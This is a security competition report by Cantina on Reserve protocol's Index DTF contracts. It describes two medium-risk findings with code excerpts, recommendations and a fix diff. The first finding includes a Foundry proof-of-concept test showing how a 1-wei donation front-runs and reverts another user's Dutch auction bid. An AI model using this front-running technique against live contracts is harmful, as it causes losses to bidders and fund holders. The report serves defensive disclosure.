CANTINA

Reserve Index DTF

Competition

March 6, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

The Reserve protocol is the first platform that allows for the permissionless creation of asset-backed, yield-bearing and overcollateralized stablecoins on Ethereum. The end goal of the Reserve protocol is to provide highly scalable, decentralized, stable money in contrast to volatile cryptocurrencies such as Bitcoin and Ether.

From Jan 13th to Jan 20th Cantina hosted a competition based on reserve-index-dtf. The participants identified a total of **12** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 2
- Low Risk: 4
- Gas Optimizations: 0
- Informational: 6

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 Medium Risk

3.1.1 Anyone can prevent execution of original bids by using buy/sell limits of the bid against bidder

Submitted by curiousapple, also found by Bigsam

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The Reserve protocol allows anyone to bid on open trade orders using a Dutch auction mechanism. However, it is vulnerable to a denial-of-service (DoS) attack, allowing malicious actors to prevent valid bids. This can be achieved by manipulating the parameters used to calculate the auction limits during the time between the original bid transaction and its execution. Specifically, attackers can inflate or deflate critical values like `maxBuyBal`, `sellBal`, or `sellAvailable`, causing valid bids to fail.

Finding Description: The issue lies in the mechanism that enforces buy and sell limits within `bid()`. Attackers can use these limits to deny bids by front-running the original transaction using one of the following methods:

1. Inflating `maxBuyBal`:

```
bid() >>
uint256 maxBuyBal = Math.mulDiv(trade.buyLimit.spot, _totalSupply, D27, Math.Rounding.Floor);
if (trade.buy.balanceOf(address(this)) > maxBuyBal) {
    revert Folio__ExcessiveBid(); // @audit-issue
}
```

   - Donating **1 wei** of `trade.buy` tokens to the contract, increasing `trade.buy.balanceOf(address(this))` and causing the condition `(trade.buy.balanceOf(address(this)) > maxBuyBal)` to fail.

   Proof of Concept Attached:

```
 - Burning shares of the folio (transferring shares to the zero address), which reduces the
↪  `_totalSupply`, deflating `maxBuyBal`, and again causing the condition to fail.
```

2. Deflating `sellAmount`:

```
bid() >>
uint256 sellBal = trade.sell.balanceOf(address(this));
uint256 minSellBal = Math.mulDiv(trade.sellLimit.spot, _totalSupply, D27, Math.Rounding.Ceil);
uint256 sellAvailable = sellBal > minSellBal ? sellBal - minSellBal : 0;

if (sellAmount > sellAvailable) {
    revert Folio__InsufficientBalance(); // @audit-issue
}
```

   - Withdrawing **1 wei** of shares, reducing both `sellBal` and `_totalSupply`. This decreases the calculated `sellAvailable`, causing the condition `(sellAmount > sellAvailable)` to fail.

Impact Explanation: High. Anyone can deny valid bids to reduce price in their favour (dutch auction), resulting in loss for folio.

Likelihood Explanation: Medium. Although the attack can be executed by anyone, its success depends on scenarios where the buy or sell limits are fully consumed in the original bid. Thus, it is situational but feasible.

Proof of Concept: The following demonstrates a potential attack exploiting the vulnerabilities:

```
Inside Folio.t.sol

function test_poc1() public {
    /*´:°•.°+.*•´.*:.°*.•´.°:°•.°•.*•´.*:.°*.•´.°:°•.°+.*•´.*:*/
    /*                          Setup                           */
    /*.•°:°.´+.*°.:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•°.*°.:*.´+°.•*/
    (address[] memory _assets, uint256[] memory _amounts) = folio.toAssets(folio.totalSupply(),
    ↪  Math.Rounding.Floor);

    console.log(_amounts[0]);
    console.log(_amounts[1]);
    console.log(_amounts[2]);
    console.log(folio.totalSupply()); // 10K


    uint256 snapshotId = vm.snapshot();

    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /*                      Successful Trade                      */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/


    // Create order for USDC > USDT
    // USDC sell
    // USDT buy
    // Bid in two chunks, one at start time and one at end time


    // Step 1: DAO approves trade
    uint256 amt = D6_TOKEN_10K;
    vm.prank(dao);
    IFolio.Range memory BUY_LIMITS = IFolio.Range(55000000000 * 1e6, 0, MAX_RATE);
    folio.approveTrade(0, USDC, USDT, FULL_SELL, BUY_LIMITS, 0, 0, MAX_TTL);

    // Step 2: Trade Launcher opens the trade
    vm.prank(tradeLauncher);
    folio.openTrade(0, 0, 1e15, 1e27, 1e27);

    (, , , , , , , , , uint256 start, uint256 end, ) = folio.trades(0);

    // Step 3: User 1 bids and order goes through
    vm.startPrank(user1);
    USDT.approve(address(folio), amt);
    folio.bid(0, amt, amt, false, bytes(""));
    assertEq(USDC.balanceOf(address(folio)), 0, "wrong usdc balance");
    vm.stopPrank();


    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /*                          Bid DOS                           */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/


    vm.revertTo(snapshotId);
    // Create order for USDC > USDT
    // USDC sell
    // USDT buy
    // Bid in two chunks, one at start time and one at end time


    // Step 1: DAO approves trade
    vm.prank(dao);
    folio.approveTrade(0, USDC, USDT, FULL_SELL, BUY_LIMITS, 0, 0, MAX_TTL);

    // Step 2: Trade Launcher opens the trade
    vm.prank(tradeLauncher);
    folio.openTrade(0, 0, 1e15, 1e27, 1e27);

    (, , , , , , , , , start, end, ) = folio.trades(0);

    // Step 3: User 1 bids and User 2 denies their bid by donation
    vm.prank(user2);
    USDT.transfer(address(folio), 1);
    vm.startPrank(user1);
    USDT.approve(address(folio), amt);
    folio.bid(0, amt, amt, false, bytes(""));
    vm.stopPrank();
}
```

Recommendation: Consider:

1. Use Absolute Amounts**: Replace the ratio-based calculations with absolute thresholds.

2. Add Slippage Tolerance: Introduce a slippage parameter in the bid execution logic to allow minor deviations, ensuring valid bids are not reverted due to minute changes in balances or supply.

3.1.2 The mechanism to avoid conflicting trades by token will not work because it uses an unset variable

Submitted by phil, also found by klaus, 0xlucky45, MiloTruck, heeze, ParthMandale, BZ, 0x37, gesha17, 3n0ch, Ragnarok, 0xNirix, TheDharkArtz, 0xDjango, qpzm, Dec3mber, Udo, curiousapple, bshyuunn, mrMorningstar, willycode20, 0xTheBlackPanther and santiellena

Severity: Medium Risk

Context: Folio.sol#L684-L702

Summary: There is a mechanism to avoid trades to be started if there is already a trade open for the same tokens. However, the mechanism design is flawed, which allows conflicting trades to be opened. This can lead to tokens being sold at a decayed price.

Description: This check done on the `Folio::_openTrade()` function is supposed to prevent a new trade from being opened if there is already an ongoing trade for the same asset:

```
// ensure no conflicting trades by token
// necessary to prevent dutch auctions from taking losses
if (block.timestamp <= tradeEnds[address(trade.sell)] || block.timestamp <= tradeEnds[address(trade.buy)]) {
    revert Folio__TradeCollision();
}
tradeEnds[address(trade.sell)] = trade.end;
tradeEnds[address(trade.buy)] = trade.end;
```

This check will prevent a trade from being opened if the date stored in the mapping `tradeEnds[token]` is in the future. If the check passes, it sets this mapping in the next line with the ending date of the trade that is being opened in this function, `trade.end`.

However, the mechanism is flawed because `trade.end` has not been set yet. This means that any open trade will have their `tradeEnds[token]` set to 0.

Since `block.timestamp` will always be > `0`, the check will not work and will allow conflicting trades to be opened for the same token.

Impact: This can cause the following impact, as described on the issue TRST-M-09 of the protocol's previous audit:

> Assets added at trading may be sold at decayed trade price in another trade.

Recommendations: Compute the trade ending time before updating `tradeEnds[]` (this solution also saves gas by SLOADing less times):

```
  // ensure no conflicting trades by token
  // necessary to prevent dutch auctions from taking losses
  if (block.timestamp <= tradeEnds[address(trade.sell)] || block.timestamp <= tradeEnds[address(trade.buy)]) {
      revert Folio__TradeCollision();
  }
+ uint256 tradeEnd = block.timestamp + auctionLength;
+ tradeEnds[address(trade.sell)] = tradeEnd;
+ tradeEnds[address(trade.buy)] = tradeEnd;
- tradeEnds[address(trade.sell)] = trade.end;
- tradeEnds[address(trade.buy)] = trade.end;
  ...
  trade.start = block.timestamp;
+ trade.end = tradeEnd;
- trade.end = block.timestamp + auctionLength;
```